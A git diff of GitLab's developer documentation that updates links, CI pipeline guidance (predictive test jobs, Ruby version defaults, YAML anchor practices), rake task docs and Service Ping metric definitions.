-to extract/create archives, perform extensive manipulation of existing data, and so on.
-
-```ruby
-Dir.mktmpdir('designs') do |path|
- # do manipulation on path
- # the path will be removed once
- # we go out of the block
-end
-```
-
-#### Shared temporary storage
-
-The usage of shared temporary storage is required if your intent
-is to persistent file for a disk-based storage, and not Object Storage.
-[Workhorse direct upload](uploads/index.md#direct-upload) when accepting file
-can write it to shared storage, and later GitLab Rails can perform a move operation.
-The move operation on the same destination is instantaneous.
-The system instead of performing `copy` operation just re-attaches file into a new place.
-
-Since this introduces extra complexity into application, you should only try
-to re-use well established patterns (for example, `ObjectStorage` concern) instead of re-implementing it.
-
-The usage of shared temporary storage is otherwise deprecated for all other usages.
-
-### Persistent storage
-
-#### Object Storage
-
-It is required that all features holding persistent files support saving data
-to Object Storage. Having a persistent storage in the form of shared volume across nodes
-is not scalable, as it creates a contention on data access all nodes.
-
-GitLab offers the [ObjectStorage concern](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/uploaders/object_storage.rb)
-that implements a seamless support for Shared and Object Storage-based persistent storage.
-
-#### Data access
-
-Each feature that accepts data uploads or allows to download them needs to use
-[Workhorse direct upload](uploads/index.md#direct-upload). It means that uploads needs to be
-saved directly to Object Storage by Workhorse, and all downloads needs to be served
-by Workhorse.
-
-Performing uploads/downloads via Puma is an expensive operation,
-as it blocks the whole processing slot (thread) for the duration of the upload.
-
-Performing uploads/downloads via Puma also has a problem where the operation
-can time out, which is especially problematic for slow clients. If clients take a long time
-to upload/download the processing slot might be killed due to request processing
-timeout (usually between 30s-60s).
-
-For the above reasons it is required that [Workhorse direct upload](uploads/index.md#direct-upload) is implemented
-for all file uploads and downloads.
+<!-- This redirect file can be deleted after <2023-04-10>. -->
+<!-- Redirects that point to other docs in the same project expire in three months. -->
+<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html -->
diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md
index 8f035d4aa13..4625489146e 100644
--- a/doc/development/migration_style_guide.md
+++ b/doc/development/migration_style_guide.md
@@ -253,21 +253,18 @@ Therefore, either:
For example, if you create an empty table and need to build an index for it,
it is recommended to use a regular single-transaction migration and the default
-rails schema statement: [`add_index`](https://api.rubyonrails.org/v5.2/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index).
+rails schema statement: [`add_index`](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index).
This is a blocking operation, but it doesn't cause problems because the table is not yet used,
and therefore it does not have any records yet.
## Naming conventions
-We keep column names consistent with [ActiveRecord's schema conventions](https://guides.rubyonrails.org/active_record_basics.html#schema-conventions).
-
-Custom index names should follow the pattern `index_#{table_name}_on_#{column_1}_and_#{column_2}_#{condition}`.
+Names for database objects (such as tables, indexes, and views) must be lowercase.
+Lowercase names ensure that queries with unquoted names don't cause errors.
-Examples:
+We keep column names consistent with [ActiveRecord's schema conventions](https://guides.rubyonrails.org/active_record_basics.html#schema-conventions).
-- `index_services_on_type_and_id_and_template_when_active`
-- `index_projects_on_id_service_desk_enabled`
-- `index_clusters_on_enabled_cluster_type_id_and_created_at`
+Custom index and constraint names should follow the [constraint naming convention guidelines](database/constraint_naming_convention.md).
### Truncate long index names
@@ -430,6 +427,9 @@ end
#### Changing default value for a column
+Note that changing column defaults can cause application downtime if a multi-release process is not followed.
+See [avoiding downtime in migrations for changing column defaults](database/avoiding_downtime_in_migrations.md#changing-column-defaults) for details.
+
```ruby
enable_lock_retries!
diff --git a/doc/development/pages/index.md b/doc/development/pages/index.md
index 5e56264330a..05eeb1965d1 100644
--- a/doc/development/pages/index.md
+++ b/doc/development/pages/index.md
@@ -147,7 +147,7 @@ GitLab Pages access control is disabled by default. To enable it:
1. Restart GitLab (if running through the GDK, run `gdk restart`). Running
`gdk reconfigure` overwrites the value of `access_control` in `config/gitlab.yml`.
1. In your local GitLab instance, in the browser go to `http://gdk.test:3000/admin/applications`.
-1. Create an [Instance-wide OAuth application](../../integration/oauth_provider.md#instance-wide-applications)
+1. Create an [Instance-wide OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application)
with the `api` scope.
1. Set the value of your `redirect-uri` to the `pages-domain` authorization endpoint
(for example, `http://pages.gdk.test:3010/auth`).
diff --git a/doc/development/performance.md b/doc/development/performance.md
index 127cade9fee..21f80364358 100644
--- a/doc/development/performance.md
+++ b/doc/development/performance.md
@@ -14,7 +14,7 @@ consistent performance of GitLab. Refer to the [Index](#performance-documentatio
- General:
- [Solving performance issues](#workflow)
- [Handbook performance page](https://about.gitlab.com/handbook/engineering/performance/)
- - [Merge request performance guidelines](../development/merge_request_performance_guidelines.md)
+ - [Merge request performance guidelines](merge_request_concepts/performance.md)
- Backend:
- [Tooling](#tooling)
- Database:
@@ -51,7 +51,7 @@ The process of solving performance problems is roughly as follows:
1. Add your findings based on the measurement period (screenshots of graphs,
timings, etc) to the issue mentioned in step 1.
1. Solve the problem.
-1. Create a merge request, assign the "Performance" label and follow the [performance review process](merge_request_performance_guidelines.md).
+1. Create a merge request, assign the "Performance" label and follow the [performance review process](merge_request_concepts/performance.md).
1. Once a change has been deployed make sure to _again_ measure for at least 24
hours to see if your changes have any impact on the production environment.
1. Repeat until you're done.
diff --git a/doc/development/permissions.md b/doc/development/permissions.md
index cc7c1229e50..bf7f99de1ab 100644
--- a/doc/development/permissions.md
+++ b/doc/development/permissions.md
@@ -33,7 +33,7 @@ See the [permissions page](../user/permissions.md) for details on how each user
Groups and projects can have the following visibility levels:
- public (`20`) - an entity is visible to everyone
-- internal (`10`) - an entity is visible to logged in users
+- internal (`10`) - an entity is visible to authenticated users
- private (`0`) - an entity is visible only to the approved members of the entity
By default, subgroups can **not** have higher visibility levels.
diff --git a/doc/development/pipelines/index.md b/doc/development/pipelines/index.md
index a7b8c99bd13..1797e082aea 100644
--- a/doc/development/pipelines/index.md
+++ b/doc/development/pipelines/index.md
@@ -16,16 +16,16 @@ We're striving to [dogfood](https://about.gitlab.com/handbook/engineering/develo
GitLab [CI/CD features and best-practices](../../ci/yaml/index.md)
as much as possible.
-## Minimal test jobs before a merge request is approved
+## Predictive test jobs before a merge request is approved
-**To reduce the pipeline cost and shorten the job duration, before a merge request is approved, the pipeline will run a minimal set of RSpec & Jest tests that are related to the merge request changes.**
+**To reduce the pipeline cost and shorten the job duration, before a merge request is approved, the pipeline will run a predictive set of RSpec & Jest tests that are likely to fail for the merge request changes.**
After a merge request has been approved, the pipeline would contain the full RSpec & Jest tests. This will ensure that all tests
have been run before a merge request is merged.
### Overview of the GitLab project test dependency
-To understand how the minimal test jobs are executed, we need to understand the dependency between
+To understand how the predictive test jobs are executed, we need to understand the dependency between
GitLab code (frontend and backend) and the respective tests (Jest and RSpec).
This dependency can be visualized in the following diagram:
@@ -47,11 +47,11 @@ In summary:
- RSpec tests are dependent on the backend code.
- Jest tests are dependent on both frontend and backend code, the latter through the frontend fixtures.
-### RSpec minimal jobs
+### RSpec predictive jobs
-#### Determining related RSpec test files in a merge request
+#### Determining predictive RSpec test files in a merge request
-To identify the minimal set of tests needed, we use the [`test_file_finder` gem](https://gitlab.com/gitlab-org/ci-cd/test_file_finder), with two strategies:
+To identify the RSpec tests that are likely to fail in a merge request, we use the [`test_file_finder` gem](https://gitlab.com/gitlab-org/ci-cd/test_file_finder), with two strategies:
- dynamic mapping from test coverage tracing (generated via the [`Crystalball` gem](https://github.com/toptal/crystalball))
([see where it's used](https://gitlab.com/gitlab-org/gitlab/-/blob/47d507c93779675d73a05002e2ec9c3c467cd698/tooling/bin/find_tests#L15))
@@ -60,9 +60,9 @@ To identify the minimal set of tests needed, we use the [`test_file_finder` gem]
The test mappings contain a map of each source files to a list of test files which is dependent of the source file.
-In the `detect-tests` job, we use this mapping to identify the minimal tests needed for the current merge request.
+In the `detect-tests` job, we use this mapping to identify the predictive tests needed for the current merge request.
-Later on in [the `rspec fail-fast` job](#fail-fast-job-in-merge-request-pipelines), we run the minimal tests needed for the current merge request.
+Later on in [the `rspec fail-fast` job](#fail-fast-job-in-merge-request-pipelines), we run the predictive tests for the current merge request.
#### Exceptional cases
@@ -74,11 +74,11 @@ In addition, there are a few circumstances where we would always run the full RS
- when the merge request is created in a security mirror
- when any CI configuration file is changed (for example, `.gitlab-ci.yml` or `.gitlab/ci/**/*`)
-### Jest minimal jobs
+### Jest predictive jobs
-#### Determining related Jest test files in a merge request
+#### Determining predictive Jest test files in a merge request
-To identify the minimal set of tests needed, we pass a list of all the changed files into `jest` using the [`--findRelatedTests`](https://jestjs.io/docs/cli#--findrelatedtests-spaceseparatedlistofsourcefiles) option.
+To identify the jest tests that are likely to fail in a merge request, we pass a list of all the changed files into `jest` using the [`--findRelatedTests`](https://jestjs.io/docs/cli#--findrelatedtests-spaceseparatedlistofsourcefiles) option.
In this mode, `jest` would resolve all the dependencies of related to the changed files, which include test files that have these files in the dependency chain.
#### Exceptional cases
@@ -97,7 +97,7 @@ The `rules` definitions for full Jest tests are defined at `.frontend:rules:jest
### Fork pipelines
-We run only the minimal RSpec & Jest jobs for fork pipelines, unless the `pipeline:run-all-rspec`
+We run only the predictive RSpec & Jest jobs for fork pipelines, unless the `pipeline:run-all-rspec`
label is set on the MR. The goal is to reduce the CI/CD minutes consumed by fork pipelines.
See the [experiment issue](https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/1170).
@@ -176,10 +176,20 @@ graph LR
A --"artifact: list of test files"--> B & C
```
-## Faster feedback for merge requests that fix a broken `master`
+## Faster feedback for some merge requests
+
+### Broken Master Fixes
When you need to [fix a broken `master`](https://about.gitlab.com/handbook/engineering/workflow/#resolution-of-broken-master), you can add the `pipeline:expedite` label to expedite the pipelines that run on the merge request.
+Note that the merge request also needs to have the `master:broken` or `master:foss-broken` label set.
+
+### Revert MRs
+
+To make your Revert MRs faster, use the [revert MR template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/merge_request_templates/Revert%20To%20Resolve%20Incident.md) **before** you create your merge request. It will apply the `pipeline:expedite` label and others that will expedite the pipelines that run on the merge request.
+
+### The `~pipeline:expedite` label
+
When this label is assigned, the following steps of the CI/CD pipeline are skipped:
- The `e2e:package-and-test` job.
@@ -188,8 +198,6 @@ When this label is assigned, the following steps of the CI/CD pipeline are skipp
Apply the label to the merge request, and run a new pipeline for the MR.
-Note that the merge request also needs to have the `master:broken` or `master:foss-broken` label set.
-
## Test jobs
We have dedicated jobs for each [testing level](../testing_guide/testing_levels.md) and each job runs depending on the
@@ -424,17 +432,21 @@ running every day, updating cache.
The default CI/CD configuration file is also set at `jh/.gitlab-ci.yml` so it
runs exactly like [GitLab JH](https://jihulab.com/gitlab-cn/gitlab/-/blob/main-jh/jh/.gitlab-ci.yml).
-## Ruby 3.0 jobs
+## Ruby 2.7 jobs
+
+We're running Ruby 3.0 for the merge requests and the default branch. However,
+we're still running Ruby 2.7 for GitLab.com and there are older versions that
+we need to maintain. We need a way to still try out Ruby 2.7 in merge requests.
-You can add the `pipeline:run-in-ruby3` label to the merge request to switch
-the Ruby version used for running the whole test suite to 3.0. When you do
-this, the test suite will no longer run in Ruby 2.7 (default), and an
-additional job `verify-ruby-2.7` will also run and always fail to remind us to
-remove the label and run in Ruby 2.7 before merging the merge request.
+You can add the `pipeline:run-in-ruby2` label to the merge request to switch
+the Ruby version used for running the whole test suite to 2.7. When you do
+this, the test suite will no longer run in Ruby 3.0 (default), and an
+additional job `verify-ruby-3.0` will also run and always fail to remind us to
+remove the label and run in Ruby 3.0 before merging the merge request.
This should let us:
-- Test changes for Ruby 3.0
+- Test changes for Ruby 2.7
- Make sure it will not break anything when it's merged into the default branch
## `undercover` RSpec test
@@ -465,9 +477,9 @@ If these commands return `undercover: ✅ No coverage is missing in latest chang
## Ruby versions testing
-Our test suite runs against Ruby 2 in merge requests and default branch pipelines.
+Our test suite runs against Ruby 3 in merge requests and default branch pipelines.
-We also run our test suite against Ruby 3 on another 2-hourly scheduled pipelines, as GitLab.com will soon run on Ruby 3.
+We also run our test suite against Ruby 2.7 on another 2-hourly scheduled pipelines, as GitLab.com still runs on Ruby 2.7.
## PostgreSQL versions testing
@@ -482,26 +494,26 @@ We also run our test suite against PG11 upon specific database library changes i
| Where? | PostgreSQL version | Ruby version |
|------------------------------------------------------------------------------------------------|-------------------------------------------------|--------------|
-| Merge requests | 12 (default version), 11 for DB library changes | 2.7 (default version) |
-| `master` branch commits | 12 (default version), 11 for DB library changes | 2.7 (default version) |
-| `maintenance` scheduled pipelines for the `master` branch (every even-numbered hour) | 12 (default version), 11 for DB library changes | 2.7 (default version) |
-| `maintenance` scheduled pipelines for the `ruby3` branch (every odd-numbered hour), see below. | 12 (default version), 11 for DB library changes | 3.0 (coded in the branch) |
-| `nightly` scheduled pipelines for the `master` branch | 12 (default version), 11, 13 | 2.7 (default version) |
-
-There are 2 pipeline schedules used for testing Ruby 3. One is triggering a
-pipeline in `ruby3-sync` branch, which updates the `ruby3` branch with latest
+| Merge requests | 12 (default version), 11 for DB library changes | 3.0 (default version) |
+| `master` branch commits | 12 (default version), 11 for DB library changes | 3.0 (default version) |
+| `maintenance` scheduled pipelines for the `master` branch (every even-numbered hour) | 12 (default version), 11 for DB library changes | 3.0 (default version) |
+| `maintenance` scheduled pipelines for the `ruby2` branch (every odd-numbered hour), see below. | 12 (default version), 11 for DB library changes | 2.7 |
+| `nightly` scheduled pipelines for the `master` branch | 12 (default version), 11, 13 | 3.0 (default version) |
+
+There are 2 pipeline schedules used for testing Ruby 2.7. One is triggering a
+pipeline in `ruby2-sync` branch, which updates the `ruby2` branch with latest
`master`, and no pipelines will be triggered by this push. The other schedule
-is triggering a pipeline in `ruby3` 5 minutes after it, which is considered
+is triggering a pipeline in `ruby2` 5 minutes after it, which is considered
the maintenance schedule to run test suites and update cache.
-Any changes in `ruby3` are only for running the pipeline. It should
-never be merged back to `master`. Any other Ruby 3 changes should go into
-`master` directly, which should be compatible with Ruby 2.7.
+Any changes in `ruby2` are only for running the pipeline. It should
+never be merged back to `master`. Any other Ruby 2.7 changes should go into
+`master` directly, which should be compatible with Ruby 3.
-Previously, `ruby3-sync` was using a project token stored in `RUBY3_SYNC_TOKEN`
-(now backed up in `RUBY3_SYNC_TOKEN_NOT_USED`), however due to various
+Previously, `ruby2-sync` was using a project token stored in `RUBY2_SYNC_TOKEN`
+(now backed up in `RUBY2_SYNC_TOKEN_NOT_USED`), however due to various
permissions issues, we ended up using an access token from `gitlab-bot` so now
-`RUBY3_SYNC_TOKEN` is actually an access token from `gitlab-bot`.
+`RUBY2_SYNC_TOKEN` is actually an access token from `gitlab-bot`.
### Long-term plan
diff --git a/doc/development/pipelines/internals.md b/doc/development/pipelines/internals.md
index 71492ed9f5d..9ff4e5a35ec 100644
--- a/doc/development/pipelines/internals.md
+++ b/doc/development/pipelines/internals.md
@@ -214,3 +214,64 @@ and included in `rules` definitions via [YAML anchors](../../ci/yaml/yaml_optimi
| `code-qa-patterns` | Combination of `code-patterns` and `qa-patterns`. |
| `code-backstage-qa-patterns` | Combination of `code-patterns`, `backstage-patterns`, and `qa-patterns`. |
| `static-analysis-patterns` | Only create jobs for Static Analytics configuration-related changes. |
+
+## Best Practices
+
+### When to use `extends:`, `<<: *xyz` (YAML anchors), or `!reference`
+
+[Reference](../../ci/yaml/yaml_optimization.md)
+
+#### Key takeaways
+
+- If you need to **extend a hash**, you should use `extends`
+- If you need to **extend an array**, you'll need to use `!reference`, or `YAML anchors` as last resort
+- For more complex cases (e.g. extend hash inside array, extend array inside hash, ...), you'll have to use `!reference` or `YAML anchors`
+
+#### What can `extends` and `YAML anchors` do?
+
+##### `extends`
+
+- Deep merge for hashes
+- NO merge for arrays. It overwrites ([source](../../ci/yaml/yaml_optimization.md#merge-details))
+
+##### YAML anchors
+
+- NO deep merge for hashes, BUT it can be used to extend a hash (see the example below)
+- NO merge for arrays, BUT it can be used to extend an array (see the example below)
+
+#### A great example
+
+This example shows how to extend complex YAML data structures with `!reference` and `YAML anchors`:
+
+```yaml
+.strict-ee-only-rules:
+ # `rules` is an array of hashes
+ rules:
+ - if: '$CI_PROJECT_NAME !~ /^gitlab(-ee)?$/ '
+ when: never
+
+# `if-security-merge-request` is a hash
+.if-security-merge-request: &if-security-merge-request
+ if: '$CI_PROJECT_NAMESPACE == "gitlab-org/security"'
+
+# `code-qa-patterns` is an array
+.code-qa-patterns: &code-qa-patterns
+ - "{package.json,yarn.lock}"
+ - ".browserslistrc"
+ - "babel.config.js"
+ - "jest.config.{base,integration,unit}.js"
+
+.qa:rules:as-if-foss:
+ rules:
+ # We extend the `rules` array with an array of hashes directly
+ - !reference [".strict-ee-only-rules", rules]
+ # We extend a single array entry with a hash
+ - <<: *if-security-merge-request
+ # `changes` is an array, so we pass it an entire array
+ changes: *code-qa-patterns
+
+qa:selectors-as-if-foss:
+ # We include the rules from .qa:rules:as-if-foss in this job
+ extends:
+ - .qa:rules:as-if-foss
+```
diff --git a/doc/development/project_templates.md b/doc/development/project_templates.md
index 269724c0a7f..55a63d41425 100644
--- a/doc/development/project_templates.md
+++ b/doc/development/project_templates.md
@@ -1,6 +1,6 @@
---
stage: Manage
-group: Workspace
+group: Organization
info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments"
---
@@ -9,7 +9,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated
## Adding a new built-in project template
This page provides instructions about how to contribute a
-[built-in project template](../user/project/working_with_projects.md#create-a-project-from-a-built-in-template).
+[built-in project template](../user/project/index.md#create-a-project-from-a-built-in-template).
To contribute a built-in project template, you must complete the following tasks:
diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md
index 456f2eb50aa..834a20239fc 100644
--- a/doc/development/prometheus_metrics.md
+++ b/doc/development/prometheus_metrics.md
@@ -4,7 +4,7 @@ group: Respond
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Working with Prometheus Metrics **(FREE)**
+# Working with Prometheus Metrics
## Adding to the library
diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md
index 14fbe0e875b..caea2cecf57 100644
--- a/doc/development/rake_tasks.md
+++ b/doc/development/rake_tasks.md
@@ -75,6 +75,54 @@ bin/rake "gitlab:seed:group_seed[subgroup_depth, username]"
Group are additionally seeded with epics if GitLab instance has epics feature available.
+#### Seeding a runner fleet test environment
+
+Use the `gitlab:seed:runner_fleet` task to seed a full runner fleet, specifically groups with subgroups and projects that contain runners and pipelines:
+
+```shell
+bin/rake "gitlab:seed:runner_fleet[username, registration_prefix, runner_count, job_count]"
+```
+
+By default, the Rake task uses the `root` username to create 40 runners and 400 jobs.
+
+```mermaid
+graph TD
+ G1[Top level group 1] --> G11
+ G2[Top level group 2] --> G21
+ G11[Group 1.1] --> G111
+ G11[Group 1.1] --> G112
+ G111[Group 1.1.1] --> P1111
+ G112[Group 1.1.2] --> P1121
+ G21[Group 2.1] --> P211
+
+ P1111[Project 1.1.1.1<br><i>70% of jobs, sent to first 5 runners</i>]
+ P1121[Project 1.1.2.1<br><i>15% of jobs, sent to first 5 runners</i>]
+ P211[Project 2.1.1<br><i>15% of jobs, sent to first 5 runners</i>]
+
+ IR1[Instance runner]
+ P1111R1[Shared runner]
+ P1111R[Project 1.1.1.1 runners<br>20% total runners]
+ P1121R[Project 1.1.2.1 runners<br>49% total runners]
+ G111R[Group 1.1.1 runners<br>30% total runners<br><i>remaining jobs</i>]
+ G21R[Group 2.1 runners<br>1% total runners]
+
+ P1111 --> P1111R1
+ P1111 --> G111R
+ P1111 --> IR1
+ P1111 --> P1111R
+ P1121 --> P1111R1
+ P1121 --> IR1
+ P1121 --> P1121R
+ P211 --> P1111R1
+ P211 --> G21R
+ P211 --> IR1
+
+ classDef groups fill:#09f6,color:#000000,stroke:#333,stroke-width:3px;
+ classDef projects fill:#f96a,color:#000000,stroke:#333,stroke-width:2px;
+ class G1,G2,G11,G111,G112,G21 groups
+ class P1111,P1121,P211 projects
+```
+
#### Seeding custom metrics for the monitoring dashboard
A lot of different types of metrics are supported in the monitoring dashboard.
@@ -437,3 +485,26 @@ bundle exec rake gems:error_tracking_open_api:generate
# Commit the changes
git commit -m 'Update ErrorTrackingOpenAPI from OpenAPI definition' vendor/gems/error_tracking_open_api
```
+
+## Update banned SSH keys
+
+You can add [banned SSH keys](../security/ssh_keys_restrictions.md#block-banned-or-compromised-keys)
+from any Git repository by using the `gitlab:security:update_banned_ssh_keys` Rake task:
+
+1. Find a public remote Git repository containing SSH public keys.
+ The public key files must have the `.pub` file extension.
+1. Make sure that `/tmp/` directory has enough space to store the remote Git repository.
+1. To add the SSH keys to your banned-key list, run this command, replacing
+ `GIT_URL` and `OUTPUT_FILE` with appropriate values:
+
+ ```shell
+ # @param git_url - Remote Git URL.
+ # @param output_file - Update keys to an output file. Default is config/security/banned_ssh_keys.yml.
+
+ bundle exec rake "gitlab:security:update_banned_ssh_keys[GIT_URL, OUTPUT_FILE]"
+ ```
+
+This task clones the remote repository, recursively walks the file system looking for files
+ending in `.pub`, parses those files as SSH public keys, and then adds the public key fingerprints
+to `output_file`. The contents of `config/security/banned_ssh_keys.yml` is read by GitLab and kept
+in memory. It is not recommended to increase the size of this file beyond 1 megabyte in size.
diff --git a/doc/development/reusing_abstractions.md b/doc/development/reusing_abstractions.md
index e3f523fc6a7..3bacea859ef 100644
--- a/doc/development/reusing_abstractions.md
+++ b/doc/development/reusing_abstractions.md
@@ -248,7 +248,7 @@ response = ServiceResponse.error(
if response.success?
head :ok
-if response.reason == :job_not_retriable
+elsif response.reason == :job_not_retriable
head :unprocessable_entity
else
head :bad_request
diff --git a/doc/development/sec/analyzer_development_guide.md b/doc/development/sec/analyzer_development_guide.md
index 4fb32785b9f..6edb4d1c604 100644
--- a/doc/development/sec/analyzer_development_guide.md
+++ b/doc/development/sec/analyzer_development_guide.md
@@ -80,7 +80,7 @@ go build -o analyzer
### Execution criteria
-[Enabling SAST](../../user/application_security/sast/index.md#configure-sast-manually) requires including a pre-defined [template](https://gitlab.com/gitlab-org/gitlab/-/blob/ee4d473eb9a39f2f84b719aa0ca13d2b8e11dc7e/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml) to your GitLab CI/CD configuration.
+[Enabling SAST](../../user/application_security/sast/index.md#configure-sast-in-your-cicd-yaml) requires including a pre-defined [template](https://gitlab.com/gitlab-org/gitlab/-/blob/ee4d473eb9a39f2f84b719aa0ca13d2b8e11dc7e/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml) to your GitLab CI/CD configuration.
The following independent criteria determine which analyzer needs to be run on a project:
diff --git a/doc/development/sec/index.md b/doc/development/sec/index.md
index 3f52020701f..4ed0eadd92f 100644
--- a/doc/development/sec/index.md
+++ b/doc/development/sec/index.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: index, concepts, howto
---
-# Sec section development **(FREE)**
+# Sec section development
The Sec section is responsible for GitLab application security features, the "Sec" part of
DevSecOps. Development guides that are specific to the Sec section are listed here.
diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md
index bccdda9ca04..3791cd4861e 100644
--- a/doc/development/secure_coding_guidelines.md
+++ b/doc/development/secure_coding_guidelines.md
@@ -1269,7 +1269,7 @@ This sensitive data must be handled carefully to avoid leaks which could lead to
- Never commit credentials to repositories.
- The [Gitleaks Git hook](https://gitlab.com/gitlab-com/gl-security/security-research/gitleaks-endpoint-installer) is recommended for preventing credentials from being committed.
- Never log credentials under any circumstance. Issue [#353857](https://gitlab.com/gitlab-org/gitlab/-/issues/353857) is an example of credential leaks through log file.
-- When credentials are required in a CI/CD job, use [masked variables](../ci/variables/index.md#mask-a-cicd-variable) to help prevent accidental exposure in the job logs. Be aware that when [debug logging](../ci/variables/index.md#debug-logging) is enabled, all masked CI/CD variables are visible in job logs. Also consider using [protected variables](../ci/variables/index.md#protected-cicd-variables) when possible so that sensitive CI/CD variables are only available to pipelines running on protected branches or protected tags.
+- When credentials are required in a CI/CD job, use [masked variables](../ci/variables/index.md#mask-a-cicd-variable) to help prevent accidental exposure in the job logs. Be aware that when [debug logging](../ci/variables/index.md#enable-debug-logging) is enabled, all masked CI/CD variables are visible in job logs. Also consider using [protected variables](../ci/variables/index.md#protect-a-cicd-variable) when possible so that sensitive CI/CD variables are only available to pipelines running on protected branches or protected tags.
- Proper scanners must be enabled depending on what data those credentials are protecting. See the [Application Security Inventory Policy](https://about.gitlab.com/handbook/security/security-engineering-and-research/application-security/inventory.html#policies) and our [Data Classification Standards](https://about.gitlab.com/handbook/security/data-classification-standard.html#data-classification-standards).
- To store and/or share credentials between teams, refer to [1Password for Teams](https://about.gitlab.com/handbook/security/#1password-for-teams) and follow [the 1Password Guidelines](https://about.gitlab.com/handbook/security/#1password-guidelines).
- If you need to share a secret with a team member, use 1Password. Do not share a secret over email, Slack, or other service on the Internet.
diff --git a/doc/development/service_ping/implement.md b/doc/development/service_ping/implement.md
index 70da97502bb..1e5f4191375 100644
--- a/doc/development/service_ping/implement.md
+++ b/doc/development/service_ping/implement.md
@@ -804,7 +804,7 @@ and run a local container instance:
1. In the downstream pipeline, wait for the `gitlab-docker` job to finish.
1. Open the job logs and locate the full container name including the version. It takes the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`.
1. On your local machine, make sure you are signed in to the GitLab Docker registry. You can find the instructions for this in
- [Authenticate to the GitLab Container Registry](../../user/packages/container_registry/index.md#authenticate-with-the-container-registry).
+ [Authenticate to the GitLab Container Registry](../../user/packages/container_registry/authenticate_with_container_registry.md).
1. Once signed in, download the new image by using `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`
1. For more information about working with and running Omnibus GitLab containers in Docker, refer to [GitLab Docker images](../../install/docker.md) documentation.
@@ -855,6 +855,8 @@ you must fulfill the following requirements:
1. All events listed at `events` attribute must have the same `aggregation` attribute.
1. `time_frame` does not include `all` value, which is unavailable for Redis sourced aggregated metrics.
+While it is possible to aggregate EE-only events together with events that occur in all GitLab editions, it's important to remember that doing so may produce high variance between data collected from EE and CE GitLab instances.
+
### Database sourced aggregated metrics
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52784) in GitLab 13.9.
diff --git a/doc/development/service_ping/index.md b/doc/development/service_ping/index.md
index 37e0b753448..40bb03cb5b4 100644
--- a/doc/development/service_ping/index.md
+++ b/doc/development/service_ping/index.md
@@ -4,7 +4,7 @@ group: Product Intelligence
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments
---
-# Service Ping Guide **(FREE SELF)**
+# Service Ping Guide
> - Introduced in GitLab Ultimate 11.2, more statistics.
> - In GitLab 14.1, [renamed from Usage Ping to Service Ping](https://gitlab.com/groups/gitlab-org/-/epics/5990). In 14.0 and earlier, use the Usage Ping documentation for the Rails commands appropriate to your version.
diff --git a/doc/development/service_ping/metrics_dictionary.md b/doc/development/service_ping/metrics_dictionary.md
index 49f8a5ac465..28581f81f94 100644
--- a/doc/development/service_ping/metrics_dictionary.md
+++ b/doc/development/service_ping/metrics_dictionary.md
@@ -45,7 +45,7 @@ Each metric is defined in a separate YAML file consisting of a number of fields:
| `data_category` | yes | `string`; [categories](#data-category) of the metric, may be set to `operational`, `optional`, `subscription`, `standard`. The default value is `optional`.|
| `instrumentation_class` | yes | `string`; [the class that implements the metric](metrics_instrumentation.md). |
| `distribution` | yes | `array`; may be set to one of `ce, ee` or `ee`. The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the tracked feature is available. |
-| `performance_indicator_type` | no | `array`; may be set to one of [`gmau`, `smau`, `paid_gmau`, or `umau`](https://about.gitlab.com/handbook/business-technology/data-team/data-catalog/xmau-analysis/). |
+| `performance_indicator_type` | no | `array`; may be set to one of [`gmau`, `smau`, `paid_gmau`, `umau` or `customer_health_score`](https://about.gitlab.com/handbook/business-technology/data-team/data-catalog/xmau-analysis/). |
| `tier` | yes | `array`; may contain one or a combination of `free`, `premium` or `ultimate`. The [tier]( https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/) where the tracked feature is available. This should be verbose and contain all tiers where a metric is available. |
| `milestone` | yes | The milestone when the metric is introduced and when it's available to self-managed instances with the official GitLab release. |
| `milestone_removed` | no | The milestone when the metric is removed. |
@@ -126,7 +126,7 @@ A metric's time frame is calculated based on the `time_frame` field and the `dat
For `redis_hll` metrics, the type of aggregation is also taken into consideration. In this context, the term "aggregation" refers to [chosen events data storage interval](implement.md#add-new-events), and is **NOT** related to the Aggregated Metrics feature.
For more information about the aggregation type of each feature, see the [`common.yml` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/common.yml). Weeks run from Monday to Sunday.
-| data_source | time_frame | aggregation | Description |
+| data_source | time_frame | aggregation | Description |
|------------------------|------------|----------------|-------------------------------------------------|
| any | `none` | not applicable | A type of data that’s not tracked over time, such as settings and configuration information |
| `database` | `all` | not applicable | The whole time the metric has been active (all-time interval) |
diff --git a/doc/development/service_ping/metrics_instrumentation.md b/doc/development/service_ping/metrics_instrumentation.md
index 5cc8a7811d7..80500ccc723 100644
--- a/doc/development/service_ping/metrics_instrumentation.md
+++ b/doc/development/service_ping/metrics_instrumentation.md
@@ -257,10 +257,10 @@ options:
## Aggregated metrics
<div class="video-fallback">
